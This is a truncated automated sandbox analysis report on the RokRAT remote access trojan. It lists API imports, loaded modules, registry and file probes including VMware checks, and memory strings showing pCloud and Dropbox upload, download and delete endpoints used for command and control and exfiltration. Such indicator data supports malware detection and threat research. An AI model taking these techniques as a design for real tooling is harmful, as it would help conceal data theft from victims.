"00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CoGetClassObject"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "EnumThreadWindows"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetClassInfoA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetClassNameA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "PostMessageA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjectsEx"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "MoveFile"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp")2d:T13fc,"RokRAT.exe" loaded module "KERNEL32" at base 77300000 "RokRAT.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75b20000 "RokRAT.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75b20000 "RokRAT.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75b20000 "RokRAT.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 766d0000 "RokRAT.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75b20000 "RokRAT.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75b20000 "RokRAT.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75b20000 "RokRAT.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73d40000 "RokRAT.exe" loaded module "NTDLL.DLL" at base 77b50000 "wscript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75b20000 "wscript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75b20000 "wscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75b20000 "wscript.exe" loaded module "KERNEL32" at base 77300000 "wscript.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73d40000 "wscript.exe" loaded module "KERNEL32.DLL" at base 77300000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ff0000 "wscript.exe" loaded module "USER32.DLL" at base 76f50000 "wscript.exe" loaded module "GDI32.DLL" at base 76a90000 "wscript.exe" loaded module "RPCRT4.DLL" at base 761e0000 "wscript.exe" loaded module "ADVAPI32.DLL" at base 759d0000 "wscript.exe" loaded module "SHELL32.DLL" at base 745a0000 "wscript.exe" loaded module "WINHTTP.DLL" at base 737b0000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 73ca0000 "wscript.exe" loaded module "IMM32.DLL" at base 766d0000 "wscript.exe" loaded module "WININET.DLL" at base 73450000 "wscript.exe" loaded module "COMCTL32.DLL" at base 73720000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 764f0000 "wscript.exe" loaded module "GDIPLUS.DLL" at base 742b0000 "wscript.exe" loaded module "VERSION.DLL" at base 74290000 "wscript.exe" loaded module "ADVAPI32" at base 759d0000 "wscript.exe" loaded module "SSPICLI.DLL" at base 74570000 "wscript.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 75b20000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 73c70000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73f50000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 73c80000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73380000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 73310000 "wscript.exe" loaded module "MSKEYPROTECT.DLL" at base 73c70000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 732c0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75a50000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 73270000 "wscript.exe" loaded module "WS2_32.DLL" at base 75ab0000 "wscript.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 742b0000 "wscript.exe" loaded module "WINDOWSCODECS.DLL" at base 73d90000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 73230000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 77200000 "cmd.exe" loaded module "KERNEL32" at base 77300000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75b20000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75b20000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75b20000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 766d0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75b20000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75b20000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75b20000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73d40000 "cmd.exe" loaded module "KERNEL32.DLL" at base 77300000 "cmd.exe" loaded module "NTDLL.DLL" at base 77b50000 "PING.EXE" loaded module "KERNEL32" at base 77300000 "PING.EXE" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75b20000 "PING.EXE" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75b20000 "PING.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75b20000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 766d0000 "PING.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75b20000 "PING.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75b20000 "PING.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75b20000 "PING.EXE" loaded module "RPCRT4.DLL" at base 761e0000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73f50000 "PING.EXE" loaded module "WSHTCPIP" at base 73c70000 "PING.EXE" loaded module "WSHIP6.DLL" at base 73c60000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\WSHQOS.DLL" at base 73c800002e:T555,"RokRAT.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "RokRAT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")2f:T9df,"RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "ROKRAT.EXE"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "RokRAT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")30:T5cb,"RokRAT.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "RokRAT.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "RokRAT.exe" trying to access non-existent file "\Device\HarddiskVolume2\WSCRIPT.EXE" "RokRAT.exe" trying to access non-existent file "C:\wscript.exe" "RokRAT.exe" trying to access non-existent file "\Device\HarddiskVolume2\wscript.exe" "RokRAT.exe" trying to access non-existent file "wscript.exe" "RokRAT.exe" trying to access non-existent file "\Device\HarddiskVolume2\CMD.EXE" "RokRAT.exe" trying to access non-existent file "C:\cmd.exe" "RokRAT.exe" trying to access non-existent file "\Device\HarddiskVolume2\cmd.exe" "RokRAT.exe" trying to access non-existent file "cmd.exe" "wscript.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "wscript.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\RPCSS.DLL" "wscript.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "wscript.exe" trying to access non-existent file "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" "wscript.exe" trying to access non-existent file "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe.DLL" "cmd.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "PING.EXE" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL"31:T108d,Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00004360-00000C26-55860516") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004360-00000C26-55860516") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00004360-00000C26-55861142") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00004360-00000C26-55861227") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00004360-00000C26-55861227") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004360-00000C26-55861227") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00004360-00000C26-55861315") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004360-00000C26-55861428") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004360-00000C26-55861647") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00004360-00000C26-56627216") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00004360-00000C26-56627348") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004360-00000C26-56627709") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00004360-00000C26-56627817") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00004360-00000C26-59122829") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp")32:Td98,Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpSetTimeouts" (Indicator: "WinHttpSetTimeouts"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpWriteData" (Indicator: "WinHttpWriteData"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp")33:Tb52,Found string "api.pcloud.com" (Indicator: "api.pcloud.com"; File: "PCAP") Found string "https://api.dropboxapi.com/2/files/delete" (Indicator: "api.dropboxapi.com"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found string "https://content.dropboxapi.com/2/files/upload" (Indicator: "content.dropboxapi.com"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found string "https://content.dropboxapi.com/2/files/download" (Indicator: "content.dropboxapi.com"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found string "https://api.pcloud.com/oauth2_token" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found string "https://api.pcloud.com/uploadfile?path=%s&filename=%s&nopartial=1" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found string "https://api.pcloud.com/getfilelink?path=%s&forcedownload=1&skipfilename=1" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found string "https://api.pcloud.com/deletefile?path=%s" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found string "ttps://api.pcloud.com/oauth2_token" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found string "://api.pcloud.com/getfilelink?path=/def_7131362C.jpg&forcedownload=1&skipfilename=1" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found string "api.pcloud.com" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found string "Oapi.pcloud.com" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found string "https://api.pcloud.com/getfilelink?path=/def_7131362C.jpg&forcedownload=1&skipfilename=1" (Indicator: "api.pcloud.com"; Source: 